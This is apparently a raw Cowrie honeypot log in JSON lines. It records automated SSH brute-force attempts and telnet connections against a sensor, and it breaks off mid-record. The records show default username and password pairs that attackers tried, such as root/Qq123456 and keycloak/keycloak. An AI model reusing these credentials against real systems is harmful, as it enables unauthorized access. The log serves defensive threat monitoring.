{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58934,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fc2bcad0422","protocol":"ssh","message":"New connection: 192.109.200.78:58934 (10.17.0.5:22) [session: 2fc2bcad0422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:32.913555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:32.917702Z","src_ip":"192.109.200.78","session":"2fc2bcad0422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:33.004071Z","src_ip":"192.109.200.78","session":"2fc2bcad0422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:33.379515Z","src_ip":"192.109.200.78","session":"2fc2bcad0422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:34.464990Z","src_ip":"192.109.200.78","session":"2fc2bcad0422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58956,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bd4c7e0cd18","protocol":"ssh","message":"New connection: 192.109.200.78:58956 (10.17.0.5:22) [session: 9bd4c7e0cd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:37.098560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:37.102934Z","src_ip":"192.109.200.78","session":"9bd4c7e0cd18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:37.187993Z","src_ip":"192.109.200.78","session":"9bd4c7e0cd18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:37.440810Z","src_ip":"192.109.200.78","session":"9bd4c7e0cd18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:38.526704Z","src_ip":"192.109.200.78","session":"9bd4c7e0cd18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.96187925338745,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:39.419686Z","src_ip":"206.189.71.75","session":"bb2da65b79cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53250,"dst_ip":"10.17.0.5","dst_port":22,"session":"794b7a7d5570","protocol":"ssh","message":"New connection: 192.109.200.78:53250 (10.17.0.5:22) [session: 794b7a7d5570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:41.112700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:41.116353Z","src_ip":"192.109.200.78","session":"794b7a7d5570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:41.199174Z","src_ip":"192.109.200.78","session":"794b7a7d5570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:41.449466Z","src_ip":"192.109.200.78","session":"794b7a7d5570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:42.535042Z","src_ip":"192.109.200.78","session":"794b7a7d5570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53260,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3296c81c08c","protocol":"ssh","message":"New connection: 192.109.200.78:53260 (10.17.0.5:22) [session: e3296c81c08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:45.349026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:45.354038Z","src_ip":"192.109.200.78","session":"e3296c81c08c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:45.438055Z","src_ip":"192.109.200.78","session":"e3296c81c08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:45.995414Z","src_ip":"192.109.200.78","session":"e3296c81c08c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:47.118513Z","src_ip":"192.109.200.78","session":"e3296c81c08c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":59594,"dst_ip":"159.203.135.109","dst_port":23,"session":"5947298edf72","protocol":"telnet","message":"New connection: 206.189.71.75:59594 (159.203.135.109:23) [session: 5947298edf72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:47.707247Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39330,"dst_ip":"10.17.0.5","dst_port":22,"session":"eae8e5fbf959","protocol":"ssh","message":"New connection: 192.109.200.78:39330 (10.17.0.5:22) [session: eae8e5fbf959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:49.382068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:49.386918Z","src_ip":"192.109.200.78","session":"eae8e5fbf959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:49.566565Z","src_ip":"192.109.200.78","session":"eae8e5fbf959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:49.913782Z","src_ip":"192.109.200.78","session":"eae8e5fbf959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:51.000740Z","src_ip":"192.109.200.78","session":"eae8e5fbf959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39338,"dst_ip":"10.17.0.5","dst_port":22,"session":"64fa728404b7","protocol":"ssh","message":"New connection: 192.109.200.78:39338 (10.17.0.5:22) [session: 64fa728404b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:53.548985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:53.554427Z","src_ip":"192.109.200.78","session":"64fa728404b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:53.642201Z","src_ip":"192.109.200.78","session":"64fa728404b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:54.238709Z","src_ip":"192.109.200.78","session":"64fa728404b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:55.345612Z","src_ip":"192.109.200.78","session":"64fa728404b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.8644483089447,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:55.400879Z","src_ip":"206.189.71.75","session":"ade3d73975da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":44054,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ef8ae47f09","protocol":"telnet","message":"New connection: 5.42.229.203:44054 (159.203.135.109:23) [session: 55ef8ae47f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:55.986062Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":44040,"dst_ip":"159.203.135.109","dst_port":23,"session":"bff303ffd630","protocol":"telnet","message":"New connection: 5.42.229.203:44040 (159.203.135.109:23) [session: bff303ffd630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:55.991139Z"}
{"eventid":"cowrie.session.closed","duration":37.26397395133972,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:57.007323Z","src_ip":"206.189.71.75","session":"e6744d804d11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39352,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2234d57574a","protocol":"ssh","message":"New connection: 192.109.200.78:39352 (10.17.0.5:22) [session: e2234d57574a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:57.490423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:57.495247Z","src_ip":"192.109.200.78","session":"e2234d57574a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:57.586746Z","src_ip":"192.109.200.78","session":"e2234d57574a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:58.047116Z","src_ip":"192.109.200.78","session":"e2234d57574a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.99615144729614,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:58.073744Z","src_ip":"206.189.71.75","session":"7fe69d569c73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99061727523804,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:58.161963Z","src_ip":"206.189.71.75","session":"edd1d49ee2c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:59.133953Z","src_ip":"192.109.200.78","session":"e2234d57574a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.8939049243927,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:01.476600Z","src_ip":"206.189.71.75","session":"33a068993e32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42226,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fad4d4a7e9a","protocol":"ssh","message":"New connection: 192.109.200.78:42226 (10.17.0.5:22) [session: 6fad4d4a7e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:01.767003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:01.775514Z","src_ip":"192.109.200.78","session":"6fad4d4a7e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256